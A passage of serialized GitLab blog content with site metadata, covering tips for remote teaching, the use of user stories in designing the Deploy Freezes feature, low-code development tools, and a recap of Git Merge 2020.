classroom.\n\n#### Try breakout groups\n\nThese are a great way to give students who may be less likely to speak up in a large group a chance to connect in a smaller setting.\n\n#### Consider hosting an **“Ask Me Anything”** meeting\n\nThese meetings are open times when students can ask a variety of questions. The questions could be anything from career advice, to sharing thoughts on research projects, course advising etc. It doesn’t have to be all business either.\n\n#### Encourage group conversation rather than 1:1 wherever possible\n\nThis helps to foster relations. We have some [guidelines that encourage collaboration through group communication](/handbook/communication/#avoid-direct-messages).\n\n#### There are some cases where you may need to discuss something 1:1 with a student\n\nWe recommend clearly outlining when to use group and private conversations in your SSoT.\n\nAdopting some of these strategies for remote teaching and learning is fairly easy. In our experience at GitLab, we find that team members enjoy and respect the independence this way of working affords them.  Students want to be engaged, and encouraging them to contribute by asking questions and taking collective notes themselves will allow them to contribute directly. Start small and go from there.\n\nWe hope this information helps make the transition a little bit easier and challenges some conventions in the long term! To learn more about the GitLab Education Program read our blog post [How to bring GitLab to a classroom near you](/blog/bring-gitlab-to-classroom-nearyou/).\n\nCover image by [Djurdjica Boskovic](https://unsplash.com/@escape_from_reality) on [Unsplash](https://unsplash.com/photos/G8_A4ZWxE3E)\n{: .note}\n",[754,676,3798],{"slug":24396,"featured":6,"template":678},"going-remote-education-virtual-learning-tips","content:en-us:blog:going-remote-education-virtual-learning-tips.yml","Going Remote Education Virtual Learning Tips","en-us/blog/going-remote-education-virtual-learning-tips.yml","en-us/blog/going-remote-education-virtual-learning-tips",{"_path":24402,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24403,"content":24409,"config":24413,"_id":24415,"_type":16,"title":24416,"_source":17,"_file":24417,"_stem":24418,"_extension":20},"/en-us/blog/how-we-utilize-user-stories-as-a-collaborative-design-tool",{"title":24404,"description":24405,"ogTitle":24404,"ogDescription":24405,"noIndex":6,"ogImage":24406,"ogUrl":24407,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24407,"schema":24408},"Improving iteration and collaboration with user stories","From problem validation to implementation, here's the Release Management team workflow for building user-centered features at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681193/Blog/Hero%20Images/blog-user-stories.jpg","https://about.gitlab.com/blog/how-we-utilize-user-stories-as-a-collaborative-design-tool","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improving iteration and collaboration with user stories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rayana Verissimo\"}],\n        \"datePublished\": \"2020-03-27\",\n      }",{"title":24404,"description":24405,"authors":24410,"heroImage":24406,"date":24339,"body":24411,"category":18484,"tags":24412},[20173],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIncorporating UX into Agile practices is a known challenge on software projects. One of the most common rants from design teams is how Agile does not embrace UX. \n\nGitLab's focus on [results](https://handbook.gitlab.com/handbook/values/#results) empowers us to create processes that work best for us, our organization, constraints, and opportunities. That includes applying Agile principles to efficiently approach how we design our product.\n\nOn GitLab's Release Management team, we rely on [User stories](https://en.wikipedia.org/wiki/User_story) to help Product Designers, Product Managers, and Engineers understand how the features we prioritize affect our end users. \n\nBy expressing one very specific need that a persona has in the format of a user story, our team has seen the following benefits:\n\n1. Keep the scope of feature proposals minimal, while focusing on users instead of solutions.\n1. Engage in a conversation with our engineering team and stakeholders, so they can help raise technical constraints and more easily estimate implementation effort.\n1. Provide an essential foundation for the next phases of design.\n1. Proactively identify follow-up stories to iterate on.\n\n## We base our user stories on real data\n\nTo ensure we're building GitLab features that are relevant to our target market, as a design practitioner, I partner up with [Jackie](https://gitlab.com/jmeshell) (Product Manager) and [Lorie](https://gitlab.com/loriewhitaker) (UX Researcher) to talk to our users, identify patterns, determine priorities, and translate research into actionable insights. \n\nUser stories are just another way to articulate the user insights into the features we prioritize. [Problem validation](https://about.gitlab.com/handbook/product-development-flow/#validation-track) is also key to building strong user stories that will deliver a great user experience. \n\nRemember: great user stories are informed by real user insights! There is no other way to achieve [user-centered design](https://en.wikipedia.org/wiki/User-centered_design).\n\n## How a user story was turned into an MVC for Deploy Freezes\n\nWhen we started talking about the value of being able to restrict deployment time frames and declare accepted windows of code releases in enterprise and regulated industries, our Product Manager turned to customer interviews to [validate our assumptions](https://gitlab.com/gitlab-org/gitlab/issues/39108). We surveyed more than 200 participants and interviewed five customers about what we call [Deploy Freezes](https://gitlab.com/gitlab-org/gitlab/issues/39108). As a result, we were able to understand the interplay of Deploy Freezes with Release Runbooks, as well as how this problem impacts the GitLab stages of Secure and Plan.\n\n### What we learned from problem validation\n\nWe learned that for teams that are not global, the ability to halt [CI/CD deployments](/topics/ci-cd/) in off hours or suspend CI/CD pipelines on weekends when there is limited team availability can be critical. These users were usually configuring Deploy Freeze policies manually or outside of the GitLab system. Interlocking these policies within CI/CD and automation is a must have to support our users. \n\nAdditionally, when looking at [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) Deploy Freezes, our internal customers (Production and Delivery teams at GitLab) may need to support users freezing code deploys as they relate to special events like big company announcements, live streamed content, and holidays.\n\nThe main difference between this and a pipeline implementer for a `.gitlab-ci.yml` file is that the authors of these kinds of pipelines are much less technical, and even editing yaml might be a challenge — though they will still need to understand markdown. The personas responsible for enforcing those policies include: [Release managers (Rachel)](https://about.gitlab.com/handbook/product/personas/#rachel-release-manager), [DevOps Engineers (Devon)](https://about.gitlab.com/handbook/product/personas/#devon-devops-engineer), [Software Developers (Sasha)](https://about.gitlab.com/handbook/product/personas/#sasha-software-developer), and [Development Team Leads (Delaney)](https://about.gitlab.com/handbook/product/personas/#delaney-development-team-lead).\n\nThrough research, we identified that our next focus areas should be setting Deploy Freezes in the UI on a project instance level (and eventually on a group level), having a dashboard to report across environments, and logging failed attempts for deployments during a freeze window.\n\n## From user insights to user stories\n\nAs I start working on the design phase of the [MVC](/handbook/product/product-principles/#the-minimal-viable-change-mvc), I'll break my tasks into the following steps:\n\n1. Work with my Product Manager to identify the main user story.\n1. Identify possible scenarios and edge cases with the entire team.\n1. Write acceptance criteria for user stories and create a low-fidelity prototype.\n1. Discuss and iterate with the team, and move the prototype to high fidelity.\n\nThe typical format of a user story is a single sentence: “_As a [type of user], I want to [goal], so that [benefit]_”. Toward the beginning of the design phase, I documented this user story:\n\n> As a DevOps Engineer/Release Manager, I want to specify windows of time when deployments are not allowed for an environment with my GitLab project, so that I can interlock it within CI/CD and automation.\n\nLooking back at the extensive research our Product Manager conducted, as a designer, I am confident that my user story focuses on the right persona and that the scope covers one specific use case (specifying Deploy Freezes on a project level). All other scenarios, such as dashboard, reporting, group level configuration, and auditing are too large for the MVC. This user story also talks about what we are going to build, not how we are going to do it.\n\nIt is important to highlight that for some organizations, the DevOps Engineer and Release Manager personas [merge into one](https://gitlab.com/gitlab-org/ux-research/issues/346), where parties responsible for releases also need to keep a hand in development, creating code and contributing to applications, outside of automation. This is one of the reasons why when designing for Release Management, I need to remember our users might have different levels of familiarity and expectations with developer-centered flows.\n\n## Thinking big as a team\n\nI carefully consider the development proposal and team conversations to understand the goals and constraints that can inform my initial user story. Every single member of the Release Management team is design minded, so collaborating to improve my design proposals is usually a no brainer!\n\nInstead of collecting user stories in our backlog, we groom and refine them on the fly during the planning phase. Being an all-remote company requires some adjustments to my design process, and our team tries to work as asynchronously as possible. \n\nWe tackle collaboration in many different ways: by using issue threads, during Think Big sessions, PM/UX sync calls, 1:1s, and via Slack messages. The most important thing is that every design and technical decision we make is incorporated back into a single source of truth ([SSOT](https://docs.gitlab.com/ee/development/documentation/styleguide/#documentation-is-the-single-source-of-truth-ssot)) -- in our case, the MVC issue. \n\nUpdating the scope and acceptance criteria of issues is a shared responsibility between my Product Manager, the Engineers, and me. We do our best to collect all relevant information, so that our customers and counterparts can have a clear understanding of what we are delivering in the next milestone.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/SU9mqOUSl1k\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\nOur team (UX, FE, BE, PM) met to discuss the latest decisions made and discoveries about deploy freezes. Watch on [GitLab Unfiltered](https://youtu.be/SU9mqOUSl1k).\n{: .note.text-center}\n\n## Defining the acceptance criteria\n\nDuring our refinement process, I learned from engineering that we could specify timeboxes for the freezes using cron syntax, and that we could reuse this from the existing [Pipeline schedules](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) capability. Hooray! Engineers also proposed that the `gitlab-ci.yml` file would instruct the pipeline to not run per the cron syntax. They also thought that it would be great to automatically retry the job and continue the deployment process when the freeze period was over.\n\nOn the design side, my additional proposal focused on [notifying users on the interface](https://gitlab.com/gitlab-org/gitlab/-/issues/24295#note_278661935) when a freeze period would be enabled for specific environments. This was especially important to inform users that are consuming the deployments, and not necessarily the people involved in setting up Deploy Freezes.\n\nThis is how one of the first versions of the MVC looked like:\n\n![Initial take on depoy freeze acceptance criteria](https://about.gitlab.com/images/blogimages/user-stories-as-design-tool/blog-deploy-freeze-iteration.jpg){: .large.center}\n\nHigh-level acceptance criteria including some interaction and requirements for frontend. No high-fidelity prototyping at this point.\n{: .note.text-center}\n\n![Initial take on depoy freeze prototype](https://about.gitlab.com/images/blogimages/user-stories-as-design-tool/blog-deploy-freeze-prototype.jpg){: .large.center}\n\nA _quick-and-dirty_ mockup produced by manipulating the source and styles of the Environments page on the browser.\n{: .note.text-center}\n\nAlthough engineering wanted to support the ability to configure everything related to a Deploy Freeze using the `gitlab-ci.yml` file at some point, while being able to retry a pipeline or even bypass a freeze period, we had significant data showing that it would be more valuable to users to instead have the ability to easily configure their policies using the UI. Our user insights told us that users configuring these kinds of pipelines are much less familiar with the terminal, and even editing yaml might be a challenge.\n\n## Iterate, iterate, iterate\n\nBack to the drawing board (or, in my case, the GitLab issue). My focus shifted from simply notifying users to allowing them to enter data in the UI. We worked asynchronously on [different proposals](https://gitlab.com/gitlab-org/gitlab/-/issues/24295#note_298796163), until the point the scope could fit an MVC that satisfies the user goals we identified through research.\n\nUsing the same user story, the acceptance criteria shifted to:\n\n![Deploy freeze mvc user story](https://about.gitlab.com/images/blogimages/user-stories-as-design-tool/blog-deploy-freeze-user-story-iteration.jpg){: .large.center}\n\nWhile working on the new acceptance criteria, I started raising a couple of questions and [thinking of edge cases](https://gitlab.com/gitlab-org/gitlab/-/issues/24295#note_308692974). For example, \"can we use a date picker UI component to select the deploy freeze period?\", \"will the end freeze field always be mandatory when setting a new period?\", \"can we support the user's default browser timezone when showing a dropdown on the UI?\", and \"how do we validate the cron syntax on the frontend?\". \n\nOnce again, Engineers to the rescue! [Nathan](https://gitlab.com/nfriend), our Super-Frontend Engineer, and I had a quick call where I walked him through my low-fidelity prototypes and we aligned our goals. Our decisions were documented as a [comment on the MVC](https://gitlab.com/gitlab-org/gitlab/-/issues/24295#note_308765612) to ensure everyone involved could access the information.\n\n## Break the user story down into something even smaller\n\nMy conversation with Nathan also made it clear that editing and deleting a deployment freeze using the UI, as well as showing human-readable cron syntax descriptions, would increase the MVC scope. Because of that, I proactively broke the user story down into four new user stories that were logged as new feature proposals:\n\n> As a user, I want to see human-readable cron syntax descriptions for deploy freezes in GitLab's UI, so that I can easily understand the information about a freeze. [gitlab#212458](https://gitlab.com/gitlab-org/gitlab/-/issues/212458)\n\n> As a DevOps Engineer/Release Manager, I want to edit Deploy Freezes I specify, so that I can keep my information up to date. [gitlab#212449](https://gitlab.com/gitlab-org/gitlab/-/issues/212449)\n\n> As a DevOps Engineer/Release Manager, I want to delete deployment freezes I specified, so that I can keep my information up to date. [gitlab#212451](https://gitlab.com/gitlab-org/gitlab/-/issues/212451)\n\n> As a user, I want to be informed when a Deploy Freeze is active for my project in GitLab, so that I can stay up to date with the status of production deployments. [gitlab#212460](https://gitlab.com/gitlab-org/gitlab/-/issues/212460)\n\nBy reducing the scope of the MVC, the Product Manager and Engineers could start a new conversation about delivery efforts:\n\n![Async discussion and frontend estimation of the MVC](https://about.gitlab.com/images/blogimages/user-stories-as-design-tool/blog-deploy-freeze-breakdown.jpg){: .large.center}\n\nAsync discussion and frontend estimation of the MVC. Read more on [gitlab#24295](https://gitlab.com/gitlab-org/gitlab/-/issues/24295#note_311365886)\n{: .note.text-center}\n\nI then placed the descoped stories in the “backlog” for short-term assignment and long-term reference. By having our Product Manager serve as gatekeeper to the backlog, our team can focus on working on high-value features that have already been vetted and are supported by user insights.\n\n## Prototyping with a focus\n\nWith everyone on board, I can finally spend proper time prototyping the MVC solution! 🎉\n\nI personally am a fan of spending more time writing down design specifications than pushing pixels. Because [the GitLab train is always moving](https://about.gitlab.com/releases), prototyping is costly and prone to becoming obsolete in the blink of an eye. I also try to be mindful when I need to provide a prototype to my team. Will it help them understand my proposal? Can the prototype unlock hidden edge cases I didn't account for? Do I work with people that need visual cues to better understand the design goals?\n\n![Final depoy freeze prototypes](https://about.gitlab.com/images/blogimages/user-stories-as-design-tool/blog-deploy-freeze-prototype-iteration.jpg){: .large.center}\n\nFinal high-fidelity prototypes used by the engineering team to estimate the MVC. Adjustments of UI copy are aligned on the fly with Technical writers after this phase.\n{: .note.text-center}\n\nPreviously, [Pedro](https://gitlab.com/pedroms) shared how one of the designer’s responsibilities is [handing off the design to developers](https://about.gitlab.com/blog/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster/), so that it gets implemented as intended. I trust that my frontend team will follow the acceptance criteria, for example, by reusing the Pajamas components I specified. And if by any chance they need to make changes/improvements to the design proposal on the fly: so be it!\n\nThe prototypes I build facilitate the design/development conversation, and they are meant to be used as assets to help our engineers have a starting point to build features. Prototypes are not the end product! Because I am also added as a UX reviewer to frontend merge requests, I can spot inconsistencies under development and discuss the proposed changes on the fly with the team. Once we agree on a direction, and if the change is big enough to be noted on the scope of our MVC, I make sure the information is updated in the SSOT.\n\n## Five keys takeaways from our workflow\n\n1. **You don't need to do Agile to be agile (lower case _a_).** Work around implementing best practices that work for you and your team.\n1. **Communicate with your team early and often.** As a tool, user stories help facilitate the conversation between UX, Research, Engineering, and Product. Look at the user stories to estimate design and development effort.\n1. **Identify user stories before jumping into designing a \"solution.\"** Make an effort to use research insights to guide your decisions. Deliver on real user needs. If user data is not available, try looking into different [research methods](https://about.gitlab.com/handbook/product/ux/ux-research/#research-methods). \n1. **Play around with the acceptance criteria.** For each user story, see if it can be broken down into smaller, more specific stories.\n1. **Document, iterate, and validate your decisions.** \n\n## Where do we go from here?\n\nAs with everything we do, this process is in constant change. User stories have been a great ally to promote a shared vision of the end user, while shifting the way we ship solutions. We went from having a list of functionalities with dubious origins that simply focused on solutions to having user-centered proposals that clearly let us communicate _why_ we are building things and _how_ we want to help our users achieve their goals.\n\nI am beyond excited about the relationship the Release Management team built around design and research. We are confident with the solution proposed for Deploy Freezes, but further developments may require [solution validation](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-4-solution-validation) to test the usability of our prototypes and implemented features. Personally, I would still like to uncover more opportunities to contribute to [gitlab-ui](https://gitlab.com/gitlab-org/gitlab-ui) components and the [Pajamas Design System](https://design.gitlab.com/) through our user stories, so that we can come up with additional improvements to patterns that are used globally across GitLab.\n\nIf any of these topics interest you or if you have some feedback on our ideas, please get in touch and let us know what you think. We are planning great things for Release Management, in particular [Release Orchestration](https://about.gitlab.com/direction/release/release_orchestration/) with GitLab. \n\nYou can get to know more about the [Release UX Team Strategy](https://about.gitlab.com/handbook/product/ux/stage-group-ux-strategy/release/) in our handbook! We would love to hear from you!\n\nCover image by [Christina @ wocintechchat.com](https://unsplash.com/@wocintechchat?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[2249,2248,2368,676,2248],{"slug":24414,"featured":6,"template":678},"how-we-utilize-user-stories-as-a-collaborative-design-tool","content:en-us:blog:how-we-utilize-user-stories-as-a-collaborative-design-tool.yml","How We Utilize User Stories As A Collaborative Design Tool","en-us/blog/how-we-utilize-user-stories-as-a-collaborative-design-tool.yml","en-us/blog/how-we-utilize-user-stories-as-a-collaborative-design-tool",{"_path":24420,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24421,"content":24427,"config":24432,"_id":24434,"_type":16,"title":24435,"_source":17,"_file":24436,"_stem":24437,"_extension":20},"/en-us/blog/low-code-no-code",{"title":24422,"description":24423,"ogTitle":24422,"ogDescription":24423,"noIndex":6,"ogImage":24424,"ogUrl":24425,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24425,"schema":24426},"The role low code app development tools may play at GitLab","Citizen developers are creating code without being coders. CEO Sid Sijbrandij and senior PMM Parker Ennis explain the impact of low code app development tools on GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681170/Blog/Hero%20Images/lowcodenocode.jpg","https://about.gitlab.com/blog/low-code-no-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The role low code app development tools may play at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-03-26\",\n      }",{"title":24422,"description":24423,"authors":24428,"heroImage":24424,"date":24429,"body":24430,"category":8943,"tags":24431},[11618],"2020-03-26","\n\nIf software is eating the world and there is a [worldwide shortage of software developers](https://www.icims.com/hiring-insights/for-employers/how-to-win-tech-talent), how can companies stay in the game?\n\nOne answer: The [citizen developer](https://www.forbes.com/sites/johneverhard/2019/01/22/the-pros-and-cons-of-citizen-development/#2376328184fd). Empowered by technology, the so-called citizen developer is able to create code without a formal developer background. Two types of tools allow this: Low code app development tools let a citizen developer build apps using only the most rudimentary of coding skills, while no-code solutions are generally WYSIWYG choices that allow someone to create an app, or part of an app, using pre-assembled pieces of code.\n\nLow code and no code tools have been available for a long time – 4GL, computer-assisted software engineering (CASE) and rapid application development (RAD) tools were all precursors – and according to [IDC](http://www.idc.com), today their use is on the rise. In fact out of 23.4 million developers worldwide in 2019, IDC said 1.76 million of them are low coders, representing 7.5% of the total. There were also 810,000 no-code developers worldwide last year, according to IDC’s Market Perspective: Low-Code and No-Code Developer Census, 2019: Growth Begins in Earnest report.\n\nGiven the growing popularity, it’s not surprising the GitLab development team is taking a hard look at [how to leverage and/or integrate low code functionality](https://gitlab.com/groups/gitlab-org/-/epics/2353#note_263252013) into our tool. Recently CEO [Sid Sijbrandij](/company/team/#sytses) sat down with senior product marketing manager [Parker Ennis](/company/team/#parker_ennis) to talk about the role low code solutions can and should play at Gitlab.\n\n“So what I like about low code is the potential to have more people programming,” Sid tells Parker. And Parker is definitely enthusiastic as well. “What interests me in low code is providing the ease of getting into something like coding,” he explains. “There’s a high barrier of entry when it comes to programming. I found that first hand when I was an undergrad trying to learn Ruby on Rails. It was an intimidating, tough experience but for other people it’s something innate inside them. One of the really cool benefits of low code is you can have people starting to learn how to code without the intimidating factor.”\n\nAlso there’s no question there are simply not enough people with coding skills to fill the demand for software, Parker says, pointing to data from industry analyst and blogger [James Governor](https://redmonk.com/jgovernor/author/jgovernor) who says the world will need around 100 million developers in 10 years. Remember, we’re at just one quarter of that today.\n\nParker is particularly excited about the potential of low code tools to get kids interested in programming at an early age. “How can we educate the next generation in how to solve the problems we are creating today?” he asks. “Low code is a viable option.”\n\nMeanwhile today at GitLab we’re looking at ways we can make it easier to integrate low code tools into our workflow, Parker says. We might go further than that if a viable open source low-code tool arrives on the market.\n\n**Learn more about app develompent tools:**\n\n[Unify your logs and metrics](/blog/unifylogsmetrics/)\n\n[Get the most out of performance testing](/blog/how-were-building-up-performance-testing-of-gitlab/)\n\n[Up your merge train game](/blog/all-aboard-merge-trains/)\n\nCover image by [Anas Alshanti](https://unsplash.com/@otenteko) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[232,676,1444],{"slug":24433,"featured":6,"template":678},"low-code-no-code","content:en-us:blog:low-code-no-code.yml","Low Code No Code","en-us/blog/low-code-no-code.yml","en-us/blog/low-code-no-code",{"_path":24439,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24440,"content":24446,"config":24451,"_id":24453,"_type":16,"title":24454,"_source":17,"_file":24455,"_stem":24456,"_extension":20},"/en-us/blog/git-merge-fifteen-year-git-party",{"title":24441,"description":24442,"ogTitle":24441,"ogDescription":24442,"noIndex":6,"ogImage":24443,"ogUrl":24444,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24444,"schema":24445},"Git Merge 2020: a celebration of Git","A look at Git Merge 2020 and a look forward to the next decade of remote, async, and powerful source code management.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681154/Blog/Hero%20Images/GitLab-sponsoring-Git-Merge.jpg","https://about.gitlab.com/blog/git-merge-fifteen-year-git-party","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git Merge 2020: a celebration of Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jordi Mon\"}],\n        \"datePublished\": \"2020-03-25\",\n      }",{"title":24441,"description":24442,"authors":24447,"heroImage":24443,"date":24448,"body":24449,"category":813,"tags":24450},[21960],"2020-03-25","\n\nAlmost 15 years ago [Linus Torvalds](https://www.linkedin.com/in/linustorvalds/) came out of retirement and released a project – Git – that would be adopted by millions who would in turn contribute over time to what is arguably the world's most powerful distributed version control system.\n\n![Git Merge 2020 kicking off](https://about.gitlab.com/images/blogimages/git-merge-2020/Entrance_Git_Merge.gif){: .center}\n\nIn early March, Git was celebrated at [Git Merge 2020](https://git-merge.com/#schedule/), an event that was sponsored by GitHub, GitLab and the [Software Freedom Conservancy (SFC)](https://sfconservancy.org/). A fair share of GitLab team members attended and actively participated in the birthday celebration. We thought we'd share a look at what we liked most.\n\n![Happy birthday Git](https://about.gitlab.com/images/blogimages/git-merge-2020/15_years_of_Git.jpg){: .shadow.medium.center}\n\n## Git police, stop! Open that trunk\n\nThere were lots of bad jokes like that one, but fortunately the content was much better than the jokes. Our users often say the one thing they like about GitLab is it makes Git understandable to them. It's nice to have validation every now and then and that is precisely what we felt during the talk titled **The Zen of Git** in which [Tianyu Pu](https://twitter.com/tianyupu), a software developer at Booking.com, explained in beautifully crafted slides how Git's internals work. By knowing how Git works she is able to approach Git less fearfully and be more productive using it in a day-to-day workflow. Judging by the warm round of applauses received when she finished her talk, we would argue she definitely achieved her goal. The clarity with which she presented each concept was encouraging so we suggest reading through [her deck](https://speakerdeck.com/tianyupu/the-zen-of-git).\n\n![Git 15 year life](https://about.gitlab.com/images/blogimages/git-merge-2020/Git_timeline.jpg){: .shadow.medium.center}\n\n[Ed Thomson](https://twitter.com/ethomson), co-maintainer of libgit2 and a GitHub employee, received some laughter from the audience the minute he was up on stage. His talk was about how lightweight, short-living branches merged fast into trunk – or master, as you wish (more terrible jokes!). He outlined great ideas to keep some sanity in your development branching model. To make this even more compelling, why not a Git workflow alignment chart?\n\n![Ed Thomson's Git workflow alignment chart](https://about.gitlab.com/images/blogimages/git-merge-2020/Git-workflow-alignment-chart.png){: .shadow.medium.center}\n\nEd suggested that pairing this pattern with [continuous delivery practices](/topics/continuous-delivery/) would make a perfect combo. Git flow, however, didn’t get the best of Ed's talk but it is noteworthy that Git flow’s author [Vincent Driessen](https://twitter.com/nvie) shared some timely advice [on his blog](https://nvie.com/posts/a-successful-git-branching-model/) while Git Merge was taking place:\n\n> If your team is doing continuous delivery of software, I would suggest to\n> adopt a much simpler workflow instead of trying to\n> shoehorn git-flow into your team.\n\nBut if there was a star that day, it certainly was [Derrick Stolee](https://twitter.com/stolee?lang=en) from Microsoft. Derrick and his team have recently released [Scalar](https://devblogs.microsoft.com/devops/introducing-scalar/). Barebones Git or Git in combination with the VFS protocol can still struggle when handling large repos like the one hosting Windows' source code. Scalar is an open source project aimed at accelerating Git's workflow regardless of the size of the repos.\n\nI asked Derrick how he and his team combined the request from his employer Microsoft and the larger goals of the Git community which may not be in alignment. For him the answer is simple: Microsoft thinks of Scalar as a good solution for clients and internal teams. The company believes giving Scalar to Git will only make it better since most of the community members are Git veterans and will be able to improve the feature. When designing Scalar Derrick's team always had Git's architecture in mind and the plan is to contribute it to [Git's client](https://devblogs.microsoft.com/devops/introducing-scalar/#git-future). I believe this speaks volumes about Derrick's team's ability to solve a complex problem but also at the same time care about the larger community and Git's design. This is just one example of how enterprises and the larger Git community are getting together and making Git perform better and in more use cases.\n\nAnd Scalar does not only just apply to Window's repo, Office's repo or video game repos. It is having a real-world and timely impact. This [repo](https://github.com/FoldingAtHome/coronavirus/issues/41#issuecomment-602186402) that is collecting real-time datasets to help with the COVID-19 pandemic is getting bigger every minute thanks to the input that many, including [some GitLab teams](https://about.gitlab.com/handbook/engineering/#foldinghome-and-covid-19), are offering. However, it needs technology like Scalar to handle it. \n\nAt the end of our chat Derrick asked me if I knew about the Japanese principle of [Ikigai](https://en.wikipedia.org/wiki/Ikigai):\n\n> Try to find something for your professional career that is fulfilling, something you are good at, something the world needs and something you'll get paid for.\n\nIt's true that contributing features to Git that are useful in such dire times must be a reason to be part of the Git community.\n\n## Work in the open: companies collaborating for the good of Git\n\nScalar isn't the only recent addition to Git – Partial Clone was contributed to Git by [Jeff Hostetler](https://twitter.com/jeffhostetler) from Microsoft and Jonathan Tan from Google. In Derrick's opinion, both of them came from different perspectives to solve the same problem. Had they not collaborated on their approach – even with the community's input – they wouldn't have arrived at the same successful feature that Partial Clone is now. Another very recent example of this same collaboration is some of the updates [Git v2.26 comes with](https://raw.githubusercontent.com/git/git/master/Documentation/RelNotes/2.26.0.txt). And [Peff](https://github.com/peff) from GitHub and [Christian Couder](https://gitlab.com/chriscool) from GitLab contributed changes to the way Git handles packfiles.\n\n## GitLab experts all over: to 15 more years!\n\nOverall we found a lot of validation in GitLab's own work, not only upstream to Git with new features like the ones already mentioned, but also downstream to our users. GitLab gets better at making Git more easily usable and proposes development workflows, like [GitLab Flow](https://docs.gitlab.com/ee/topics/gitlab_flow.html), that allow our users to be fast and productive while keeping a neat code base. GitLab is making [Partial Clone](https://about.gitlab.com/blog/partial-clone-for-massive-repositories/) progressively more stable across any GitLab instance. (If you are already using partial clone, or would like to help us test partial clone on a large project, please get in touch with [James Ramsay](mailto:jramsay@gitlab.com), the group manager, product for Create at GitLab, me [Jordi Mon](mailto:jmon@gitlab.com) or your account manager.)\n\n![GitLab team having fun](https://about.gitlab.com/images/blogimages/git-merge-2020/GitLab_working_together.jpg){: .shadow.medium.center}\n\nWhile our very own [James Ramsay](https://gitlab.com/jramsay) participated in an expert panel in [last year's event](https://github.blog/wp-content/uploads/2019/02/190201_GithubBrussels2019_0330.jpg?resize=1024%2C683?w=1024), this year [Zeger-Jan van de Weg](https://gitlab.com/zj-gitlab) was on stage for a stump the experts panel.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>’s \u003Ca href=\"https://twitter.com/ZJvandeWeg?ref_src=twsrc%5Etfw\">@ZJvandeWeg\u003C/a> on a stump the experts panel at \u003Ca href=\"https://twitter.com/hashtag/GitMerge?src=hash&amp;ref_src=twsrc%5Etfw\">#GitMerge\u003C/a> \u003Ca href=\"https://t.co/jfgC5ZxzWa\">pic.twitter.com/jfgC5ZxzWa\u003C/a>\u003C/p>&mdash; Ray Paik (@rspaik) \u003Ca href=\"https://twitter.com/rspaik/status/1235333465203183618?ref_src=twsrc%5Etfw\">March 4, 2020\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Had a great time meeting Git community members at \u003Ca href=\"https://twitter.com/hashtag/GitMerge?src=hash&amp;ref_src=twsrc%5Etfw\">#GitMerge\u003C/a> 2020 yesterday! It was awesome being there as part of the \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> team and coming together with folk from \u003Ca href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@github\u003C/a> \u003Ca href=\"https://twitter.com/Google?ref_src=twsrc%5Etfw\">@Google\u003C/a> \u003Ca href=\"https://twitter.com/conservancy?ref_src=twsrc%5Etfw\">@conservancy\u003C/a>, and many others, to collaborate and then celebrate Git’s upcoming 15th anniversary! \u003Ca href=\"https://t.co/crXr6iT5qI\">pic.twitter.com/crXr6iT5qI\u003C/a>\u003C/p>&mdash; Nuritzi Sanchez (@1nuritzi) \u003Ca href=\"https://twitter.com/1nuritzi/status/1235655639554117637?ref_src=twsrc%5Etfw\">March 5, 2020\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nMingling around with the rest of the community was hands down the best part of Git Merge 2020. It was so much fun to be part of a welcoming, inclusive community.\n\n![GitLab's team having fun](https://about.gitlab.com/images/blogimages/git-merge-2020/GitLab_team_chilling_out.jpg){: .shadow.medium.center}\n\nFor all these reasons and more we would love our involvement to be ever-growing with Git Merge. That's why we look forward to Git Merge 2021! 15 years have passed and Git is still in its best moment.\n",[277,1067,815],{"slug":24452,"featured":6,"template":678},"git-merge-fifteen-year-git-party","content:en-us:blog:git-merge-fifteen-year-git-party.yml","Git Merge Fifteen Year Git 